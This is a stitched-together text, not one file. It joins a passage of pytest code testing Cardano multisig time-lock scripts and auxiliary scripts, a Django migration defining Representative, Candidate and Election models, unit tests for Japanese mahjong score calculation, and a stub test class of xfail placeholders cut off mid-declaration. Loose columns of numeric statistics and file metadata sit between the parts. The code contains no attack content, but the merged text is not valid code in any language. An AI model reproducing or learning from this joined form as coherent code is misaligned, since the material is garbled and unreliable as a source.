"ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_before_future( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that it's NOT possible to spend from the script address. The "before" slot is in the future and the given range is invalid. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] before_slot = cluster.get_slot_no() + 10_000 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=before_slot, slot_type_arg=clusterlib.MultiSlotTypeArgs.BEFORE, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=500_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address - invalid range, slot is in the future with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail", src_address=script_address, dst_address=payment_addrs[0].address, amount=10, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=1, invalid_hereafter=before_slot + 1, ) assert "ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_after_future( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that it's NOT possible to spend from the script address. The "after" slot is in the future and the given range is invalid. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] after_slot = cluster.get_slot_no() + 10_000 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=after_slot, slot_type_arg=clusterlib.MultiSlotTypeArgs.AFTER, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=500_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address - valid range, slot is in the future with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail1", src_address=script_address, dst_address=payment_addrs[0].address, amount=10, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=after_slot, invalid_hereafter=after_slot + 100, ) assert "OutsideValidityIntervalUTxO" in str(excinfo.value) # send funds from script address - invalid range, slot is in the future with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail2", src_address=script_address, dst_address=payment_addrs[0].address, amount=10, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=1, invalid_hereafter=after_slot, ) assert "ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_after_past( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Check that it's NOT possible to spend from the script address. The "after" slot is in the past. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] payment_skey_files = [p.skey_file for p in payment_addrs] after_slot = cluster.get_slot_no() - 1 # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=after_slot, slot_type_arg=clusterlib.MultiSlotTypeArgs.AFTER, ) # create script address script_address = cluster.gen_script_addr( addr_name=temp_template, script_file=multisig_script ) # send funds to script address tx_raw_output = multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_to", src_address=payment_addrs[0].address, dst_address=script_address, amount=500_000, payment_skey_files=[payment_skey_files[0]], ) # send funds from script address - valid slot, # invalid range - `invalid_hereafter` is in the past with pytest.raises(clusterlib.CLIError) as excinfo: multisig_tx( cluster_obj=cluster, temp_template=f"{temp_template}_from_fail", src_address=script_address, dst_address=payment_addrs[0].address, amount=10, payment_skey_files=payment_skey_files, multisig_script=multisig_script, invalid_before=1, invalid_hereafter=after_slot, ) assert "ScriptWitnessNotValidatingUTXOW" in str(excinfo.value) dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @pytest.mark.testnets @pytest.mark.skipif( VERSIONS.transaction_era < VERSIONS.ALLEGRA, reason="runs only with Allegra+ TX", ) class TestAuxiliaryScripts: """Tests for auxiliary scripts.""" JSON_METADATA_FILE = DATA_DIR / "tx_metadata.json" CBOR_METADATA_FILE = DATA_DIR / "tx_metadata.cbor" @pytest.fixture def payment_addrs( self, cluster_manager: cluster_management.ClusterManager, cluster: clusterlib.ClusterLib, ) -> List[clusterlib.AddressRecord]: """Create new payment addresses.""" with cluster_manager.cache_fixture() as fixture_cache: if fixture_cache.value: return fixture_cache.value # type: ignore addrs = clusterlib_utils.create_payment_addr_records( *[ f"multi_addr_aux_scripts_ci{cluster_manager.cluster_instance_num}_{i}" for i in range(20) ], cluster_obj=cluster, ) fixture_cache.value = addrs # fund source addresses clusterlib_utils.fund_from_faucet( addrs[0], cluster_obj=cluster, faucet_data=cluster_manager.cache.addrs_data["user1"], amount=20_000_000, ) return addrs @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_tx_script_metadata_json( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send transaction with auxiliary script and metadata JSON. Check that the auxiliary script is present in the TX body. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ALL, payment_vkey_files=payment_vkey_files, slot=10, slot_type_arg=clusterlib.MultiSlotTypeArgs.AFTER, ) tx_files = clusterlib.TxFiles( metadata_json_files=[self.JSON_METADATA_FILE], script_files=clusterlib.ScriptFiles(auxiliary_scripts=[multisig_script]), signing_key_files=[payment_addrs[0].skey_file], ) tx_raw_output = cluster.send_tx( src_address=payment_addrs[0].address, tx_name=temp_template, tx_files=tx_files ) assert tx_raw_output.fee, "Transaction had no fee" with open(tx_raw_output.out_file) as body_fp: tx_body_json = json.load(body_fp) cbor_body = bytes.fromhex(tx_body_json["cborHex"]) cbor_body_metadata = cbor2.loads(cbor_body)[2] cbor_body_script = cbor_body_metadata[1][0][1] assert len(cbor_body_script) == len(payment_vkey_files) + 1, "Auxiliary script not present" tx_db_record = dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) if tx_db_record: db_metadata = tx_db_record._convert_metadata() assert ( db_metadata == cbor_body_metadata[0] ), "Metadata in db-sync doesn't match the original metadata" @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_tx_script_metadata_cbor( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send transaction with auxiliary script and metadata CBOR. Check that the auxiliary script is present in the TX body. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.AT_LEAST, payment_vkey_files=payment_vkey_files, required=2, slot=1000, slot_type_arg=clusterlib.MultiSlotTypeArgs.BEFORE, ) tx_files = clusterlib.TxFiles( metadata_cbor_files=[self.CBOR_METADATA_FILE], script_files=clusterlib.ScriptFiles(auxiliary_scripts=[multisig_script]), signing_key_files=[payment_addrs[0].skey_file], ) tx_raw_output = cluster.send_tx( src_address=payment_addrs[0].address, tx_name=temp_template, tx_files=tx_files ) assert tx_raw_output.fee, "Transaction had no fee" with open(tx_raw_output.out_file) as body_fp: tx_body_json = json.load(body_fp) cbor_body = bytes.fromhex(tx_body_json["cborHex"]) cbor_body_metadata = cbor2.loads(cbor_body)[2] cbor_body_script = cbor_body_metadata[1][0][2] assert len(cbor_body_script) == len(payment_vkey_files) + 1, "Auxiliary script not present" tx_db_record = dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) if tx_db_record: db_metadata = tx_db_record._convert_metadata() assert ( db_metadata == cbor_body_metadata[0] ), "Metadata in db-sync doesn't match the original metadata" @allure.link(helpers.get_vcs_link()) @pytest.mark.dbsync def test_tx_script_no_metadata( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Send transaction with auxiliary script and no other metadata. Check that the auxiliary script is present in the TX body. """ temp_template = helpers.get_func_name() payment_vkey_files = [p.vkey_file for p in payment_addrs] # create multisig script multisig_script = cluster.build_multisig_script( script_name=temp_template, script_type_arg=clusterlib.MultiSigTypeArgs.ANY, payment_vkey_files=payment_vkey_files, ) tx_files = clusterlib.TxFiles( script_files=clusterlib.ScriptFiles(auxiliary_scripts=[multisig_script]), signing_key_files=[payment_addrs[0].skey_file], ) tx_raw_output = cluster.send_tx( src_address=payment_addrs[0].address, tx_name=temp_template, tx_files=tx_files ) assert tx_raw_output.fee, "Transaction had no fee" with open(tx_raw_output.out_file) as body_fp: tx_body_json = json.load(body_fp) cbor_body = bytes.fromhex(tx_body_json["cborHex"]) cbor_body_metadata = cbor2.loads(cbor_body)[2] cbor_body_script = cbor_body_metadata[1][0][1] assert len(cbor_body_script) == len(payment_vkey_files), "Auxiliary script not present" dbsync_utils.check_tx(cluster_obj=cluster, tx_raw_output=tx_raw_output) @allure.link(helpers.get_vcs_link()) def test_tx_script_invalid( self, cluster: clusterlib.ClusterLib, payment_addrs: List[clusterlib.AddressRecord] ): """Build transaction with invalid auxiliary script. Expect failure. """ temp_template = helpers.get_func_name() tx_files = clusterlib.TxFiles( # not valid script file script_files=clusterlib.ScriptFiles(auxiliary_scripts=[self.JSON_METADATA_FILE]), signing_key_files=[payment_addrs[0].skey_file], ) with pytest.raises(clusterlib.CLIError) as excinfo: cluster.send_tx( src_address=payment_addrs[0].address, tx_name=temp_template, tx_files=tx_files ) assert 'Error in $: key "type" not found' in str(excinfo.value)
36.555556
100
0.645946
5,896
50,337
5.171133
0.050543
0.052347
0.044081
0.035521
0.899898
0.893043
0.879301
0.862081
0.850339
0.840828
0
0.009849
0.279874
50,337
1,376
101
36.582122
0.831251
0.107436
0
0.741224
0
0
0.045711
0.019648
0
0
0
0.001453
0.025075
1
0.028084
false
0
0.016048
0
0.060181
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
47dfc434289f5df8476ac80b55052f41e5947829
6,728
py
Python
representatives/migrations/0001_initial.py
imhangoo/represent-reps
464bee39065700bdd4ff0b13612f8df31b6d5688
[ "MIT" ]
null
null
null
representatives/migrations/0001_initial.py
imhangoo/represent-reps
464bee39065700bdd4ff0b13612f8df31b6d5688
[ "MIT" ]
null
null
null
representatives/migrations/0001_initial.py
imhangoo/represent-reps
464bee39065700bdd4ff0b13612f8df31b6d5688
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class JSONField(models.TextField): """Mocks jsonfield 0.92's column-type behaviour""" def db_type(self, connection): if connection.vendor == 'postgresql' and connection.pg_version >= 90300: return 'json' else: return super(JSONField, self).db_type(connection) class Migration(migrations.Migration): dependencies = [ ] operations = [ migrations.CreateModel( name='Candidate', fields=[ ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)), ('name', models.CharField(max_length=300)), ('district_name', models.CharField(max_length=300)), ('elected_office', models.CharField(max_length=200)), ('source_url', models.URLField(max_length=2048)), ('boundary', models.CharField(db_index=True, help_text='e.g. federal-electoral-districts/outremont', blank=True, max_length=300)), ('first_name', models.CharField(blank=True, max_length=200)), ('last_name', models.CharField(blank=True, max_length=200)), ('party_name', models.CharField(blank=True, max_length=200)), ('email', models.EmailField(blank=True, max_length=75)), ('url', models.URLField(blank=True, max_length=2048)), ('personal_url', models.URLField(blank=True, max_length=2048)), ('photo_url', models.URLField(blank=True, max_length=2048)), ('district_id', models.CharField(blank=True, max_length=200)), ('gender', models.CharField(choices=[('F', 'Female'), ('M', 'Male')], blank=True, max_length=1)), ('offices', JSONField(default=dict, blank=True)), ('extra', JSONField(default=dict, blank=True)), ('incumbent', models.NullBooleanField()), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='Election', fields=[ ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)), ('name', models.CharField(help_text='The name of the political body, e.g. BC Legislature', unique=True, max_length=300)), ('data_url', models.URLField(help_text='URL to a JSON array of representatives within this set')), ('data_about_url', models.URLField(help_text='URL to information about the scraper used to gather data', blank=True)), ('last_import_time', models.DateTimeField(null=True, blank=True)), ('last_import_successful', models.NullBooleanField()), ('boundary_set', models.CharField(help_text='Name of the boundary set on the boundaries API, e.g. federal-electoral-districts', blank=True, max_length=300)), ('slug', models.SlugField(unique=True, max_length=300)), ('enabled', models.BooleanField(default=True, db_index=True)), ('election_date', models.DateField()), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='Representative', fields=[ ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)), ('name', models.CharField(max_length=300)), ('district_name', models.CharField(max_length=300)), ('elected_office', models.CharField(max_length=200)), ('source_url', models.URLField(max_length=2048)), ('boundary', models.CharField(db_index=True, help_text='e.g. federal-electoral-districts/outremont', blank=True, max_length=300)), ('first_name', models.CharField(blank=True, max_length=200)), ('last_name', models.CharField(blank=True, max_length=200)), ('party_name', models.CharField(blank=True, max_length=200)), ('email', models.EmailField(blank=True, max_length=75)), ('url', models.URLField(blank=True, max_length=2048)), ('personal_url', models.URLField(blank=True, max_length=2048)), ('photo_url', models.URLField(blank=True, max_length=2048)), ('district_id', models.CharField(blank=True, max_length=200)), ('gender', models.CharField(choices=[('F', 'Female'), ('M', 'Male')], blank=True, max_length=1)), ('offices', JSONField(default=dict, blank=True)), ('extra', JSONField(default=dict, blank=True)), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='RepresentativeSet', fields=[ ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)), ('name', models.CharField(help_text='The name of the political body, e.g. BC Legislature', unique=True, max_length=300)), ('data_url', models.URLField(help_text='URL to a JSON array of representatives within this set')), ('data_about_url', models.URLField(help_text='URL to information about the scraper used to gather data', blank=True)), ('last_import_time', models.DateTimeField(null=True, blank=True)), ('last_import_successful', models.NullBooleanField()), ('boundary_set', models.CharField(help_text='Name of the boundary set on the boundaries API, e.g. federal-electoral-districts', blank=True, max_length=300)), ('slug', models.SlugField(unique=True, max_length=300)), ('enabled', models.BooleanField(default=True, db_index=True)), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.AddField( model_name='representative', name='representative_set', field=models.ForeignKey(related_name='individuals', to='representatives.RepresentativeSet'), preserve_default=True, ), migrations.AddField( model_name='candidate', name='election', field=models.ForeignKey(related_name='individuals', to='representatives.Election'), preserve_default=True, ), ]
54.699187
173
0.587545
704
6,728
5.458807
0.203125
0.079625
0.087952
0.103045
0.838147
0.838147
0.838147
0.838147
0.794952
0.747333
0
0.023047
0.271254
6,728
122
174
55.147541
0.760759
0.009958
0
0.747826
0
0
0.194741
0.03441
0
0
0
0
0
1
0.008696
false
0
0.052174
0
0.113043
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9a1c3940ac55cd6d528ad1e07cac16b52b06a0e9
14,705
py
Python
evaluation/hand_calculation/unit_tests/test_score.py
VictorZXY/meowjong
ec71171f7dc2369c55f5e3bd3302cbaa76346561
[ "MIT" ]
null
null
null
evaluation/hand_calculation/unit_tests/test_score.py
VictorZXY/meowjong
ec71171f7dc2369c55f5e3bd3302cbaa76346561
[ "MIT" ]
null
null
null
evaluation/hand_calculation/unit_tests/test_score.py
VictorZXY/meowjong
ec71171f7dc2369c55f5e3bd3302cbaa76346561
[ "MIT" ]
null
null
null
import unittest from evaluation.hand_calculation.hand_config import HandConfig from evaluation.hand_calculation.score import Score from evaluation.hand_calculation.tile_constants import EAST, SOUTH, WEST class ScoreTestCase(unittest.TestCase): def test_calculate_ron_score(self): hand_config = HandConfig() result = Score.calculate_score(han=1, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 1000) result = Score.calculate_score(han=1, fu=110, hand_config=hand_config) self.assertEqual(result['total_score'], 3600) result = Score.calculate_score(han=2, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 2000) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 3900) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 7700) result = Score.calculate_score(han=4, fu=40, hand_config=hand_config) self.assertEqual(result['total_score'], 8000) result = Score.calculate_score(han=5, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 8000) result = Score.calculate_score(han=6, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 12000) result = Score.calculate_score(han=8, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 16000) result = Score.calculate_score(han=11, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=13, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=26, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=39, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=52, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=65, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=78, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) def test_calculate_dealer_ron_score(self): hand_config = HandConfig(seat_wind=EAST) result = Score.calculate_score(han=1, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 1500) result = Score.calculate_score(han=2, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 2900) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 5800) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 11600) result = Score.calculate_score(han=5, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 12000) result = Score.calculate_score(han=6, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 18000) result = Score.calculate_score(han=8, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=11, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 36000) result = Score.calculate_score(han=13, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=26, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=39, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=52, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=65, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=78, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) def test_calculate_tsumo_score(self): hand_config = HandConfig(is_tsumo=True) result = Score.calculate_score(han=1, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 1100) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 4000) result = Score.calculate_score(han=3, fu=60, hand_config=hand_config) self.assertEqual(result['total_score'], 7900) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 7900) result = Score.calculate_score(han=5, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 8000) result = Score.calculate_score(han=6, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 12000) result = Score.calculate_score(han=8, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 16000) result = Score.calculate_score(han=11, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=13, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=26, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=39, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=52, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=65, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=78, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) def test_calculate_dealer_tsumo_score(self): hand_config = HandConfig(seat_wind=EAST, is_tsumo=True) result = Score.calculate_score(han=1, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 1500) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 6000) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 11700) result = Score.calculate_score(han=5, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 12000) result = Score.calculate_score(han=6, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 18000) result = Score.calculate_score(han=8, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=11, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 36000) result = Score.calculate_score(han=13, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=26, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=39, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=52, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=65, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) result = Score.calculate_score(han=78, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 48000) def test_calculate_sanma_tsumo_score(self): hand_config = HandConfig(is_sanma=True, is_tsumo=True) result = Score.calculate_score(han=1, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 800) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 3000) result = Score.calculate_score(han=3, fu=60, hand_config=hand_config) self.assertEqual(result['total_score'], 5900) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 5900) result = Score.calculate_score(han=5, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 6000) result = Score.calculate_score(han=6, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 9000) result = Score.calculate_score(han=8, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 12000) result = Score.calculate_score(han=11, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 18000) result = Score.calculate_score(han=13, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=26, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=39, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=52, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=65, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=78, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) def test_calculate_sanma_dealer_tsumo_score(self): hand_config = HandConfig(seat_wind=EAST, is_sanma=True, is_tsumo=True) result = Score.calculate_score(han=1, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 1000) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 4000) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 7800) result = Score.calculate_score(han=5, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 8000) result = Score.calculate_score(han=6, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 12000) result = Score.calculate_score(han=8, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 16000) result = Score.calculate_score(han=11, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 24000) result = Score.calculate_score(han=13, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=26, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=39, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=52, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=65, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) result = Score.calculate_score(han=78, fu=0, hand_config=hand_config) self.assertEqual(result['total_score'], 32000) def test_calculate_score_with_bonus(self): hand_config = HandConfig(seat_wind=EAST, is_tsumo=True, deposit_counter=3, honba_counter=2) result = Score.calculate_score(han=3, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 9600) hand_config = HandConfig(seat_wind=WEST, is_sanma=True, is_tsumo=True, deposit_counter=1, honba_counter=4) result = Score.calculate_score(han=4, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 7700) hand_config = HandConfig(seat_wind=WEST, honba_counter=5) result = Score.calculate_score(han=6, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 13500) hand_config = HandConfig(seat_wind=EAST, is_sanma=True, honba_counter=5) result = Score.calculate_score(han=5, fu=30, hand_config=hand_config) self.assertEqual(result['total_score'], 13000) def test_calculate_yakuman_score(self): hand_config = HandConfig(seat_wind=EAST, is_tsumo=True, deposit_counter=2, honba_counter=3) result = Score.calculate_yakuman_score( yakuman_list=['Kokushi Musou'], hand_config=hand_config ) self.assertEqual(result['total_score'], 50900) hand_config = HandConfig(seat_wind=EAST, is_sanma=True, is_tsumo=True, deposit_counter=2, honba_counter=3) result = Score.calculate_yakuman_score( yakuman_list=['Ryuuiisou'], hand_config=hand_config ) self.assertEqual(result['total_score'], 34600) hand_config = HandConfig(seat_wind=SOUTH, is_sanma=True, is_tsumo=True, deposit_counter=2, honba_counter=3) result = Score.calculate_yakuman_score( yakuman_list=['Junsei Chuuren Poutou'], hand_config=hand_config ) self.assertEqual(result['total_score'], 26600) hand_config = HandConfig(seat_wind=EAST, is_sanma=True, deposit_counter=3) result = Score.calculate_yakuman_score( yakuman_list=['Tsuuiisou', 'Daisuushii', 'Suukantsu', 'Suuankou Tanki'], hand_config=hand_config ) self.assertEqual(result['total_score'], 195000) self.assertEqual(result['yaku_level'], '4x Yakuman') if __name__ == '__main__': unittest.main()
43.505917
78
0.683237
1,922
14,705
4.980749
0.057752
0.207876
0.204011
0.192207
0.941607
0.938682
0.92834
0.917476
0.900867
0.859919
0
0.058689
0.198164
14,705
337
79
43.635015
0.753202
0
0
0.72766
0
0
0.076505
0
0
0
0
0
0.395745
1
0.034043
false
0
0.017021
0
0.055319
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
d02081ead4079e3d715ed0cef667ad6bd8a1b7f4
2,283
py
Python
ci-scripts/dlrnapi_promoter/test_stage_registries_unit.py
fuzzball81/ci-config
b3a8ff6be780bfae0ae9e3e0511dfa61010695eb
[ "Apache-2.0" ]
8
2016-10-06T13:24:04.000Z
2021-11-04T20:51:23.000Z
ci-scripts/dlrnapi_promoter/test_stage_registries_unit.py
fuzzball81/ci-config
b3a8ff6be780bfae0ae9e3e0511dfa61010695eb
[ "Apache-2.0" ]
8
2020-02-26T20:11:29.000Z
2021-09-23T23:23:47.000Z
ci-scripts/dlrnapi_promoter/test_stage_registries_unit.py
fuzzball81/ci-config
b3a8ff6be780bfae0ae9e3e0511dfa61010695eb
[ "Apache-2.0" ]
9
2016-04-08T14:38:06.000Z
2021-11-01T18:43:30.000Z
import unittest import pytest class TestLocalRegistry(unittest.TestCase): @pytest.mark.xfail(reason="Not Implemented", run=False) def test_get_base_image_exists(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_get_base_image_download(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_get_secure_base_image_exists(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_get_secure_base_image_build(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_build_secure_base_image_download(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_is_running_false(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_is_running_true(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_run_already_running(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_run_success(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_run_failure(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_run_secure(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_stop_success(self): assert False @pytest.mark.xfail(reason="Not Implemented", run=False) def test_stop_not_running(self): assert False class 